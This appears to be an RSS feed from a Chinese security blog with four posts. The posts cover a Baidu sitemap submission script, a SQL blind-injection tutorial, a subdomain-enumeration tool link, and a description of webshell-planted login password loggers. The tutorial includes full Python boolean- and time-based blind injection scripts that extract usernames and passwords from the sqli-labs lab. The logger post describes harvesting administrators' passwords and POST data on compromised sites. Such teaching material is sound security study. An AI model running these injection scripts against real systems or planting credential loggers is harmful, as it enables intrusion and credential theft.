<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>脚本 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E8%84%9A%E6%9C%AC/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sun, 26 Aug 2018 08:38:56 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>【重写】百度站长Python主动推送</title>
		<link>/code/536.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 26 Aug 2018 08:36:25 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[脚本]]></category>
		<guid isPermaLink="false">/?p=536</guid>

					<description><![CDATA[第一版抓取的链接不是很到位，第二版使用BeautifulSoup来解析sitemap.xml提交，抓取更全。 学习是一件很开心的事情。 &#160; chabug一直不被百度收录，...]]></description>
										<content:encoded><![CDATA[<p>第一版抓取的链接不是很到位，第二版使用BeautifulSoup来解析sitemap.xml提交，抓取更全。</p>
<p>学习是一件很开心的事情。</p>
<p><a href="/wp-content/uploads/2018/08/2018081513421353.jpg"><img loading="lazy" class="aligncenter size-full wp-image-537" src="/wp-content/uploads/2018/08/2018081513421353.jpg" alt="" width="430" height="430" /></a></p>
<p>&nbsp;</p>
<p>chabug一直不被百度收录，谷歌收录飙到599的时候，百度仍然在30左右徘徊。无可奈何，写了一个主动提交的<span class="wpcom_tag_link"><a href="/tags/%e8%84%9a%e6%9c%ac" title="脚本" target="_blank">脚本</a></span>，来简化这一操作。</p>
<h1><a id="user-content-适用范围" class="anchor" href="https://github.com/Y4er/BaiduSubmit#%E9%80%82%E7%94%A8%E8%8C%83%E5%9B%B4" aria-hidden="true"></a>适用范围</h1>
<p>sitemap.xml类似于<a href="https://chabug.org/sitemap.xml" rel="nofollow">https://chabug.org/sitemap.xml</a> 我这种的，sitemap分类化可以直接食用。</p>
<p>WordPress装上插件<a href="https://wordpress.org/plugins/xml-sitemap-feed/" rel="nofollow">XML Sitemap &amp; Google News</a>可直接食用。</p>
<h1><a id="user-content-注意" class="anchor" href="https://github.com/Y4er/BaiduSubmit#%E6%B3%A8%E6%84%8F" aria-hidden="true"></a>注意</h1>
<p>先修改脚本里的API哦！</p>
<pre class="lang:default decode:true">#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# author:Y4er
import json
import requests
from bs4 import BeautifulSoup

headers = {
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36',
	'Content-Type': 'text/plain'
}

def sitemap(url):
	print('[*] 正在爬取sitemap')
	url = url + '/sitemap.xml'
	r = requests.get(url,headers=headers).text
	soup = BeautifulSoup(r,'html.parser')
	locs = soup.findAll('loc')
	urls = []
	for loc in locs:
		print(loc.text)
		req = requests.get(loc.text,headers=headers).text
		url = BeautifulSoup(req,'html.parser').findAll('loc')
		for i in url:
			urls.append(i.text)
		imgs = BeautifulSoup(req,'html.parser').findAll('image:loc')
		for i in imgs:
			urls.append(i.text)
	# for url in urls:
	# 	url = url.replace('\n')
	print('[*] 发现%s个链接' % len(list(set(urls))))
	return list(set(urls))

def submit(urls):
	try:	
		print('[*] 正在提交')
		api = '填写你自己的API'
		data = '\n'
		data = data.join(urls)
		req = requests.post(api,headers=headers,data=data)
		print('[+] 提交成功%s条' % json.loads(req.text)['success'])
		print('[+] 今天剩余%s条' % json.loads(req.text)['remain'])
	except:
		print('[-] 提交失败')

if __name__ == '__main__':
	urls = sitemap('/')
	submit(urls)</pre>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SQL注入到EXP编写</title>
		<link>/web/438.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 03 Jul 2018 14:47:19 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[脚本]]></category>
		<guid isPermaLink="false">/?p=406</guid>

					<description><![CDATA[今天整理一下SQL盲注，之前说好了整理分享的，这篇文章一直在草稿箱躺着，今天整理补充好了，感兴趣的朋友收藏啊！ 最近忙着写主题模版，写插件，帮朋友做项目安全测试，还有自己学校的期末...]]></description>
										<content:encoded><![CDATA[<p>今天整理一下SQL盲注，之前说好了整理分享的，这篇文章一直在草稿箱躺着，今天整理补充好了，感兴趣的朋友收藏啊！</p>
<p>最近忙着写主题模版，写插件，帮朋友做项目安全测试，还有自己学校的期末考试，但是越是期末，与紧张，就越是感觉非常刺激~<br />
<img src="https://ww2.sinaimg.cn/large/9150e4e5ly1fsq7wc1wmlj20g40g4aad.jpg" alt="" /></p>
<p>对于SQL注入还不理解的朋友可以参看之前的文章《<a href="https://blog.dyboy.cn/websecurity/34.html" target="_blank" rel="noopener">SQL注入基础</a>》,本文章主要讲SQL盲注。</p>
<h1>0x00 盲注简介：</h1>
<p>顾名思义，像盲人一样注入（什么鬼解释…），通俗来说，当我们发现有SQL注入时，确不能得到SQL查询的数据回显，除了之前的写文件方式，还有就是盲注了，盲注就是通过服务器返回的状态等各种因素来猜测，最终组合得到哦我们想要的数据。</p>
<h1>0x01 盲注必须知识：</h1>
<p>SQL盲注中常用的几个内置函数，了解一下~</p>
<pre class="lang:default decode:true ">length(str)：返回str字符串的长度。
substr(str, pos, len)：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始
mid(str,pos,len):跟上面的一样，截取字符串
ascii(str)：返回字符串str的最左面字符的ASCII代码值。
asc();同上
ord(str):同上，返回ascii码
if(a,b,c) :a为条件，a为true，返回b，否则返回c，如if(1&gt;2,1,0),返回0</pre>
<p>&nbsp;</p>
<h1>0x02 基于网页特征的Bool盲注：</h1>
<p>这里还是基于Sqli平台吧，这货花样多~</p>
<p>先以最简单的 Less-8 这个单引号Bool盲注的题</p>
<p>分析源码:</p>
<pre class="lang:default decode:true ">&lt;?php
//和原文件有删减，为了更好的阅读效果
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0); //不报错

if(isset($_GET['id']))    //如果有参数id传入
{
$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)    //如果查到数据就执行如下
    {
      echo '&lt;font size="5" color="#FFFF00"&gt;';    
      echo 'You are in...........';
      echo "&lt;br&gt;";
        echo "&lt;/font&gt;";
      }
    else     //否则执行这个     从两者返回的网页结构不一样，就可以作为我们盲注条件判断的依据
    {

    echo '&lt;font size="5" color="#FFFF00"&gt;';
    echo "&lt;/br&gt;&lt;/font&gt;";
    echo '&lt;font color= "#0000ff" font size= 3&gt;';

    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?&gt;</pre>
<p>&nbsp;</p>
<p>根据服务器返回的不同网页结构来判断当前的SQL注入的关键词是否正确，一个有 <strong>You</strong> 单词，可根据这一特征。</p>
<p>构造这样的语句，返回<strong>if(true)</strong>的网页</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-5a771d4a858ce245.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-5a771d4a858ce245.png" width="1247" height="354" /></a></p>
<p>不满足，返回<strong>if(false)</strong>的网页</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-8a9a7270e014b22c.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-8a9a7270e014b22c.png" width="1249" height="347" /></a></p>
<p>下面就写一个简单的<span class="wpcom_tag_link"><a href="/tags/%e8%84%9a%e6%9c%ac" title="脚本" target="_blank">脚本</a></span>来具体解释：</p>
<pre class="lang:default decode:true "># name：SQL bind
# author:DYBOY
# time: 2018-07-01
# description: 用于SQL盲注学习脚本参考

import requests
import re


req = requests.Session()
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}


#盲注测试字符
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
fuzz = list(fuzz)

main_url = "http://www.test.com/Less-8/index.php?id=1"
#注入参考语句：id=1%27+and+ascii(substr((select+username+from+users+limit+0,1),1,1))=97+%23
#注入参考语句2： id=1%27+and+ascii(substr((select+username+from+users+limit+0,1),1,1))=ascii("a")+%23
username = "username:"
password = "password:"


#得到usernmae
for i in range(1,6):
    for key in fuzz:
        url = main_url + "%27+and+ascii(substr((select+username+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+"+%23"
        html = req.get(url,headers = header,timeout=8)
        guize  = r'You'
        if(re.findall(guize,html.text)):
            username = username + key
            print(username)


#得到password    
for j in range(1,6):
    for key in fuzz:
        url = main_url + "%27+and+ascii(substr((select+password+from+users+limit+0,1),"+str(j)+",1))="+str(ord(key))+"+%23"
        html = req.get(url,headers = header,timeout=8)
        guize  = r'You'
        if(re.findall(guize,html.text)):
            password = password + key
            print(password)</pre>
<p>&nbsp;</p>
<p>运行结果如下：</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-7875223b07fb73ee.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-7875223b07fb73ee.png" width="1353" height="733" /></a></p>
<p>这个脚本就是基于网页特征来判定的，下面看看时间盲注的脚本怎么写！</p>
<p>0x03 延时注入：<br />
当一个网页返回的数据根本没变化，报错也不管用，时间盲注就可以上线了！</p>
<p>先看一个SQL语句：</p>
<pre class="lang:default decode:true ">if(ascii(substr((select+username+from+users+limit+0,1),1,1))=97,sleep(3),0)</pre>
<p>&nbsp;</p>
<p>这个SQL语句执行的效果就是，如果if语句成立那么就服务器延时 3s 后返回网页给客户端，否则正常时间返回网页。通过这样一个条件，我们就可以进行时间盲注了。</p>
<p>时间盲注脚本如下：</p>
<pre class="lang:default decode:true "># name：SQL time bind injection
# author:DYBOY
# time: 2018-07-01
# description: 用于SQL时间盲注学习脚本参考


import requests
import time

req = requests.Session()
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}

#盲注测试字符
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.&lt;&gt;?/;!$#{}-'
fuzz = list(fuzz)

main_url = "http://www.test.com/Less-8/index.php?id=1"
#注入参考语句：id=1%27+and+if(ascii(substr((select+username+from+users+limit+0,1),1,1))=97,sleep(3),0)+%23

username = "username:"
password = "password:"

#得到username
for i in range(1,6):
    for key in fuzz:
        start_time = time.time()
        url = main_url + "%27+and+if(ascii(substr((select+username+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+",sleep(3),0)+%23"
        html = req.get(url,headers = header,timeout=8)
        if((time.time() - start_time)&gt;=3):
            username = username + key
            print(username)


#得到password
for i in range(1,6):
    for key in fuzz:
        start_time = time.time()
        url = main_url + "%27+and+if(ascii(substr((select+password+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+",sleep(3),0)+%23"
        html = req.get(url,headers = header,timeout=8)
        if((time.time() - start_time)&gt;=3):
            password = password + key
            print(password)</pre>
<p>&nbsp;</p>
<p>运行结果：</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-ea22d19d0d7091c5.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-ea22d19d0d7091c5.png" width="999" height="754" /></a></p>
<p>没错，时间盲注就是将判断条件改成了时间，时间盲注往往有更广泛的用途~</p>
<p>0x04 总结<br />
没错，就是这么简单！欢迎各位来探讨技术~</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>子域名收集脚本</title>
		<link>/tools/402.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 21 Apr 2018 14:51:32 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[子域名]]></category>
		<category><![CDATA[收集]]></category>
		<category><![CDATA[脚本]]></category>
		<guid isPermaLink="false">/?p=337</guid>

					<description><![CDATA[kali下运行。需要配置三款工具所需的模块脚本。 Shell脚本集成了 SubDomain Sublist Teemo 链接：https://pan.baidu.com/s/1Kb...]]></description>
										<content:encoded><![CDATA[<p><img src="http://www.farmsec.cn/wp-content/uploads/2018/04/123.png" alt="演示" title="演示"></p>
<p>kali下运行。需要配置三款工具所需的模块<span class="wpcom_tag_link"><a href="/tags/%e8%84%9a%e6%9c%ac" title="脚本" target="_blank">脚本</a></span>。</p>
<p>Shell脚本集成了</p>
<pre><code>SubDomain
Sublist
Teemo</code></pre>
<p>链接：<a href="https://pan.baidu.com/s/1KbYkQbC4uXK_HDDSl8IWEg">https://pan.baidu.com/s/1KbYkQbC4uXK_HDDSl8IWEg</a> 密码：ydsk</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>web 密码记录脚本</title>
		<link>/web/375.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 07 Mar 2018 09:44:31 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[脚本]]></category>
		<guid isPermaLink="false">/?p=279</guid>

					<description><![CDATA[@X1r0z https://exp10it.cn/index.php/archives/1058/ 写这些脚本主要是方便记录管理员的密码 通常为 md5+salt 或者为 强密码...]]></description>
										<content:encoded><![CDATA[<blockquote><p>@X1r0z <a href="https://exp10it.cn/index.php/archives/1058/">https://exp10it.cn/index.php/archives/1058/</a></p></blockquote>
<p>写这些<span class="wpcom_tag_link"><a href="/tags/%e8%84%9a%e6%9c%ac" title="脚本" target="_blank">脚本</a></span>主要是方便记录管理员的<span class="wpcom_tag_link"><a href="/tags/%e5%af%86%e7%a0%81" title="密码" target="_blank">密码</a></span></p>
<p>通常为 md5+salt 或者为 强密码 无法解密</p>
<p>需要上传至 webshell</p>
<p>脚本均已在本地测试成功</p>
<p>在对应的 login 文件上 include 即可</p>
<p>默认保存在同目录下的 pass.txt 记录所有 POST 变量</p>
<p>php</p>
<p>asp</p>
<p>aspx</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
